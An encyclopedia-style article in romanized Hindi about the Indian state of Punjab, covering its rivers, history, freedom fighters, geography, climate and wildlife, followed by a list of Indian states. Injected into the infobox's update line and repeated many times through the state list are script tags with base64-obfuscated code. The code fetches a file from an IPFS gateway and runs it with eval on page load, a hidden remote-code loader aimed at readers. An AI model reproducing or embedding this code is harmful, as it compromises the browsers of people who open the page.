पंजाब

40px
panjab
200px|center
rajadhani	chandigadh
rajabhasha(ean)	panjabi bhasha, hindi bhasha
sthapana	1 navambar, 1956
janasankhya	2,42,89,296
· ghanatv	484 /varg kimi
kshetraphal	50,362
bhaugolik nirdeshaank	30.73°N 76.78°E
zile	22
sabase b da nagar	ludhiyana
b de nagar	amritasar, jalandhar
liang anupat	1000:876 ♂/♀
saksharata	69.7%%
· stri	63.55%
· purush	75.63%
rajyapal	vi. pi. sianh badanaur
mukhyamantri	kaiptan amariandar sianh
vidhanasabha sadasy	117
lokasabha kshetr	13
bahari k diyaan	adhikarik vebasait
adyatan‎	15:45, 30 janavari 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
120px|center

panjab (aangrezi: Punjab) bharat ke uttar pashchim mean sthit ek rajy hai, jisaki simaean pashchim mean pakistan, uttar mean jammoo aur kashmir rajy, uttar poorv mean himachal pradesh aur dakshin mean hariyana aur rajasthan rajy se milati haian. 'panjab' shabd pharasi ke 'panj' jisaka arth hota hai 'paanch' aur 'ab' jisaka arth hota hai 'pani' ke mel se bana hai jisaka shabdik arth 'paanch nadiyoan ka kshetr' hai. isalie ise paanch nadiyoan ki bhoomi bhi kaha jata hai. ye paanch nadiyaan haian-

• sataluj nadi
• vyas nadi
• ravi nadi
• chinav nadi
• jhelam nadi

azadi ke bad sanh 1947 mean bharat ke vibhajan ke samay chinab aur jhelam nadiyaan pakistan ke panjab praant mean chali gayian thian. 20 ziloan ke is khoobasoorat rajy mean ab char nadiyaan bahati haian-

• sataluj
• vyas
• ravi
• ghaggar

bhoomi upajaoo hone aur pani ki achchhi vyavastha hone ke karan ek muhavara prayog mean laya jata hai ki yahaan 'dharati sona ugalati' hai. panjab ka kshetraphal 50,362 varg kilomitar hai. panjab ki rajadhani chandigadh hai jo sanyukt roop se panjab aur hariyana pradesh ki rajadhani hai. panjab mean mukhy roop se panjabi aur hindi bhasha boli jati haian. rajy ke mukhy nagar amritasar, jalandhar, ludhiyana aur patiyala haian.

itihas

prachin samay mean panjab bharat aur eeran ka kshetr tha. yahaan maury, baiktriyan, yoonani, shak, kushan, gupt adi anek shaktiyoan ka utthan aur patan hua. panjab madhyakal mean muslim shasakoan ke adhin raha. yahaan sabase pahale gazanavi, gori, gulam vansh, khilaji vansh, tugalak,lodi aur mugal vansh ke shasakoan ne yahaan raj kiya. [[chitr:Satluj-River.jpg|thumb|250px|left|sataluj nadi]] 15vian aur 16vian shati mean guru nanakadev ji ki shikshaoan se bhakti aandolan ne zor pak da. sikh panth ne ek dharmik aur samajik aandolan ko janm diya, mool roop se jisaka uddeshy samajik aur dharmik kuritiyoan ko door karana tha. dasavean guru goviand sianh ji ne sikhoan ko 'khalasa panth' ke roop mean sangathit kiya. mugaloan ke daman aur atyachar ke khilaf sikkhoan ko ekatr karake 'panjabi raj' ki sthapana ki. panjab mean hi banavaridas ne uttaradi sadhuoan ki mandali banaee thi. ek farasi lekhak ne likha hai ki 'maharaja ranajit sianh ne panjab ko 'madam kada'('bag-e-bahisht')' arthath svarg mean badal diya tha. unake dehaant ke bad aangrezoan ki sazishoan se yah samrajy samapt ho gaya. 1849 mean do yuddhoan ke bad panjab british samrajy mean a gaya tha.

gaandhi ji ke svatantrata andolan se pahale hi british shasan ke khilaf panjab mean sangharsh prarambh ho gaya tha. svatantrata sangram mean lala lajapataray ne mahattvapoorn bhoomika nibhayi. svatantrata sangram mean panjab ke nagarikoan ne badh chadh kar bhag liya. desh ho ya videsh, panjab balidan mean sabase age raha. vibhajan ka kasht bhi uthana p da jisake karan b de paimane par raktapat aur visthapan ka dansh uthaya aur punarvas ke sath sath rajy ke naye sire se sangathit karane ki chunauti ka bakhoobi samana kiya. poorvi panjab ki ath riyasatoan ko milakar naya rajy 'pepsoo' banaya gaya aur 'poorvi panjab rajy sangh, patiyala' ka nirman karake patiyala ko isaki rajadhani banaya gaya. 1956 mean 'pepsoo' ko panjab mean mila diya gaya. 1966 mean panjab ke kuchh bhag se 'hariyana' rajy ka nirman kiya gaya.

bharatiy svatantrata andolan mean yogadan

bharatiy svatantrata andolan mean panjab ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian- karatar sianh sarabha, oodham sianh, bhagatasianh, sukhadev, lala lajapat ray, rajakumari amrit kaur, pratap sianh kairoan, sohan sianh bhakana, indr vidyavachaspati, jagataram, bhaee paramanand, gurubakhsh dhillo, madan lal dhiangara, guradayal sianh dhilh‍loan, pandit kaanshiram, ram sianh, gokulachand narang, hari kishan sarahadi, balavant sianh adi.

bhoogol

bhoo-akriti

panjab ka adhikaansh hissa samatal maidani hai, jo poorvottar mean samudr tal se lagabhag 275 mitar se dakshin-pashchim mean lagabhag 168 mitar ki ooanchaee ki anuvarti dhalan vala hai. bhautik roop se is pradesh ko tin hissoan mean baanta ja sakata hai. poorvottar mean 274-914 mitar ki ooanchaee par sthit shivalik paha diyaan rajy ka bahut hi chhota hissa haian. dakshin mean shivalik paha diyaan sankare aur laharadar taraee kshetr ke roop mean phaili huee haian, jinase hokar kee mausami dharaean bahati haian. inaka sthaniy nam chos hai aur inamean se kee maidanoan mean kisi nadi mean shamil hue bina hi samapt ho jati haian. tisara kshetr jalodh upajaoo mitti vala vishal samatal maidan hai. maidani kshetr mean nadiyoan ke kinare nimnabhoomi par sthit badh ke maidan aur unake bich mean kam ooanchaee par sthit samatal kshetroan ko alag-alag pahachana ja sakata hai. pahale ret ke tiloan se dhake dakshini-pashchimi ooanche kshetr ko sianchaee ke vyapak vistar ke sath hi lagabhag samatal kar diya gaya hai, jisase samoocha paridrishy parivartit ho gaya hai. [[chitr:Golden-Temple-Amritsar.jpg|thumb|250px|left|svarn mandir, amritasar]]

jalavayu

aantardeshiy uposhn katibandhiy avasthiti ke karan panjab ki jalavayu arddh shushk se arddh nam ke bich vividhatapoorn hai. garmi ka mausam behad garm hota hai; joon mean ausat tapaman 34° se. hota hai aur vishesh roop se garm dinoan mean yah 45° se. tak pahuanch jata hai. yahaan shit rritu mean sardi bhi kafi p dati hai. janavari mean ausat tapaman 13° se. hota hai aur kee bar rat ke samay tapaman jamav bindu tak gir jata hai. poorvottar mean sthit shivalik paha diyoan mean adhikatam varshik varsha 1,245 mimi. darj ki jati hai, jo kramash: ghatati huee, dakshin-pashchim mean lagabhag 356 mimi. rah jati hai. varshik varsha ka lagabhag tin-chauthaee hissa dakshin-pashchim m aaunasoon ke mahinoan, julaee se sitambar ke bich hota hai. pashchimi vikshobh ke karan disambar se march tak shit rritu mean hone vali varsha kul varsha ke ek-chauthaee hisse se bhi kam hoti hai.

vany evan prani jivan

sadiyoan se manav bastiyoan ke vikas ke karan panjab ke maidani kshetr ke adhikaansh jangal samapt ho ge haian. shivalik paha diyoan ke vishal hisse mean jangaloan ki vyapak kataee ke phalasvaroop vrikshoan ki jagah ab jha didar vanaspati paee jati hai. parvatiy dhalanoan par van lagane ke prayas kie ja rahe haian. pramukh s dakoan ke kinare aur oopar tatha banjar bhoomi par yookaliptas v p aaupalar ke vriksh lagae ge haian.

pradesh ke kul kshetraphal ke tin-chauthaee hisse mean kheti hone ke karan vany jivoan ke paryavas mean bhari kami aee hai. isake bavajood pakshiyoan, kritank jantuoan aur saanp v any janavaroan ki kee prajatiyoan ne krishi paryavaran ke anusar svayan ko anukoolit kar liya hai.

arthavyavastha

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rashtriy rajadhani kshetr dilli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gova <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gujarat <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hariyana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> himachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jammoo aur kashmir <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh 